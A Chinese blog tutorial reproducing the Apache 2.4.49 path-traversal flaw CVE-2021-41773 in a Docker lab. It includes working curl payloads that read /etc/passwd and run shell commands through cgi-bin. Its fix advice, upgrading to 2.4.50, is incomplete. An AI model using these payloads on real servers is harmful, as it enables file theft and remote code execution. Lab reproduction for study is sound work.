本文主要是介绍CVE-2021-41773 - (apache 文件读取命令执行)漏洞复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
目录
- 漏洞描述
- 影响版本
- 漏洞复现
- 漏洞修复
漏洞描述
CVE-2021-41773 漏洞是在 9 月 15 日发布的 2.4.49 版中对路径规范化所做的更改引入到 Apache HTTP Server 中的。此漏洞仅影响具有“require all denied”访问权限控制配置被禁用的Apache HTTP Server 2.4.49 版本。成功的利用将使远程攻击者能够访问易受攻击的 Web 服务器上文档根目录之外的任意文件。根据该公告,该漏洞还可能泄露“CGI 脚本等解释文件的来源”,其中可能包含攻击者可以利用该漏洞进行进一步攻击的敏感信息。
影响版本
Apache 2.4.49 版本
漏洞复现
1、先下载漏洞所需靶场,CVE-2021-41773
2、复制到靶场中,然后修改Dockerfile文件内容。
Dockerfile文件内容
FROM vulhub/httpd:2.4.49RUN set -ex \&& sed -i "s|#LoadModule cgid_module modules/mod_cgid.so|LoadModule cgid_module modules/mod_cgid.so|g" /usr/local/apache2/conf/httpd.conf \&& sed -i "s|#LoadModule cgi_module modules/mod_cgi.so|LoadModule cgi_module modules/mod_cgi.so|g" /usr/local/apache2/conf/httpd.conf \&& sed -i "s|#Include conf/extra/httpd-autoindex.conf|Include conf/extra/httpd-autoindex.conf|g" /usr/local/apache2/conf/httpd.conf \&& cat /usr/local/apache2/conf/httpd.conf \| tr '\n' '\r' \| perl -pe 's|<Directory />.*?</Directory>|<Directory />\n AllowOverride none\n Require all granted\n</Directory>|isg' \| tr '\r' '\n' \| tee /tmp/httpd.conf \&& mv /tmp/httpd.conf /usr/local/apache2/conf/httpd.conf
执行编译命令,环境搭建成功。
docker build -t httpd:server .
docker run -d -p 8080:80 httpd:server
3、文件读取&命令执行
文件读取
curl -v --path-as-is http://192.168.22.140:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
命令执行
curl --data "echo;whoami" http://192.168.22.140:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
漏洞修复
确保Apache HTTP Server更新到最新的版本2.4.50。
参考文章
大佬文章
这篇关于CVE-2021-41773 - (apache 文件读取命令执行)漏洞复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!